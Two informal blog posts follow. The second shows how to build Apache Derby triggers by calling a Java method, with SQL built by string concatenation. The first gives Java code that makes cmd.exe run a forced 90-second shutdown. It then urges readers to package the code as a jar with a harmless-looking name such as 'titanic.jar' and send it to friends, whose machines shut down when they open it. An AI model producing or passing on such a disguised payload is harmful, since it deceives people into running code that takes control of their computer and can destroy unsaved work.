Did u know that u can shutdown someone’s machine(windows) using java????

ha ha ha, there is no particular fundoo java is involved here. Here is the code…u must know the location where windows is installed. Currently i assumed it to be….C:\Windows. So, the cmd.exe is inside C:\Windows\System32. Now follows the code….

package com.deepak.entertainment;

import java.io.IOException;
import java.io.OutputStream;

public class Deepak {
 
 public static void main(String[] args) throws InterruptedException {
  Runtime runtime = Runtime.getRuntime();
  try {
   Process process = runtime.exec(“C:\\WINDOWS\\system32\\cmd.exe”);
   OutputStream os = process.getOutputStream();
   os.write(“shutdown -s -f -t 90 \n\r”.getBytes());
   os.close();
   process.waitFor();
  } catch (IOException e) {
   e.printStackTrace();
  }
 }

}

package this class in a jar file with proper Main-Class entry in manifest file. U can always use jar -mcvf command to create a jar file if u have a proper manifest file. Otherwise the IDEs like eclipse allow tou to export ur main class as a jar file. Done!!!

Now, give this jar file a good name something like “titanic.jar” or something and send it to ur friends. If they have a jdk instlled and they double click the file(open with java) the machine will be shutdown in 90 seconds(configurable in the above code). You cant kill the shutdown process untill you open a command prompt and type

shutdown -a

a is for aborting shutdown.

Cheersssssssssssss!!!!!

Utilizing JAVA’s power in Derby Database Triggers

In oracle we know that we can do a hell lot of things inside a trigger which is database specific. For example, just consider the following trigger statement….

create or replace trigger <table_name>_u_t after update on <table_name>

referencing new as newRow

for each row

declare counts integer:=0;

begin

select count(*) into counts from <table_name>_dash where  primary_key_column_name = :newRow.primary_key_column_name  ;

if(counts > 0) then update <table_name>_dash set time = sysdate, flag = ‘U’, user_id = ‘error’ where  primary_key_column_name = :newRow.primary_key_column_name  ;

else

insert into <table_name>_dash values( :newRow.primary_key_column_name, sysdate, ‘U’, null, ‘error’); end if;

end;

You can see that almost a procedure is executed inside the trigger statement after update on the table. But these things u can’t do in derby database. Also, it is not that readable code. So here comes using the power of java and getting the above functionality of the trigger in derby database…..

1. First u need to write a method which u want to execute when some update is happening on table.

package com.deepak.test;

 

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.PreparedStatement;

import java.sql.ResultSet;

import java.sql.SQLException;

 

public class TriggerClass {

 

public static int createTrigger(String primaryKeyColumnName, int primaryKeyValue, String tableName, String flag) {

String updateDashTableQry = “update “

+ tableName

+ “_dash set time = current_timestamp, flag = ‘”

+ flag

+ “‘, user_id = ‘error’ “

+ (flag.equalsIgnoreCase(“I”) ? “, inserted_time = current_timestamp”

: “”) + ” where “ + primaryKeyColumnName + ” = “

+ primaryKeyValue;

String insertIntoDashTableQry = “insert into “ + tableName

+ “_dash values( “ + primaryKeyValue + “, current_timestamp, ‘”

+ flag + “‘, “

+ (flag.equalsIgnoreCase(“I”) ? “current_timestamp” : null)

+ “, ‘error’)”;System.

out.println(“update query ::” + updateDashTableQry);

try {Class.forName(

“org.apache.derby.jdbc.EmbeddedDriver”);

Connection conn = DriverManager

.getConnection(“jdbc:derby:deepakdb”);

String query = “select count(*) from “ + tableName + “_dash where “

+ primaryKeyColumnName + ” = “ + primaryKeyValue;int count = 0;

PreparedStatement ps = conn.prepareStatement(query);

ResultSet rs = ps.executeQuery();

if (rs.next()) {

count = rs.getInt(1);

}

if (count > 0) {

PreparedStatement ps1 = conn

.prepareStatement(updateDashTableQry);

ps1.executeUpdate();

} else {

PreparedStatement ps2 = conn

.prepareStatement(insertIntoDashTableQry);

ps2.executeUpdate();

}

conn.close();

} catch (ClassNotFoundException e) {

e.printStackTrace();

} catch (SQLException e) {

e.printStackTrace();

}

 

return 1;

}

 

}

2. Now u need to create a Function or procedure which will call this createTrigger method written above.

CREATE FUNCTION FUNC_TRIGGER(PK_COLUMN_NAME VARCHAR(50), PK_COLUMN_VALUE INT, TABLE_NAME VARCHAR(50), FLAG VARCHAR(2)) RETURNS INT LANGUAGE JAVA PARAMETER STYLE JAVA NO SQL EXTERNAL NAME ‘com.deepak.test.TriggerClass.createTrigger’;

3. And finally you can call this database function created above in a trigger like the following code snippet.

create trigger <TABLE_NAME>_u_t after update on <TABLE_NAME>

 referencing new as newRow 

for each row

MODE DB2SQL

SELECT FUNC_TRIGGER(‘ID’, newRow.ID, ‘TEST_TRIGGER’, ‘U’) from sysibm.sysdummy1; 

I have used sysibm.sysdummy1 because i dint want to pass any of the table data inside the function.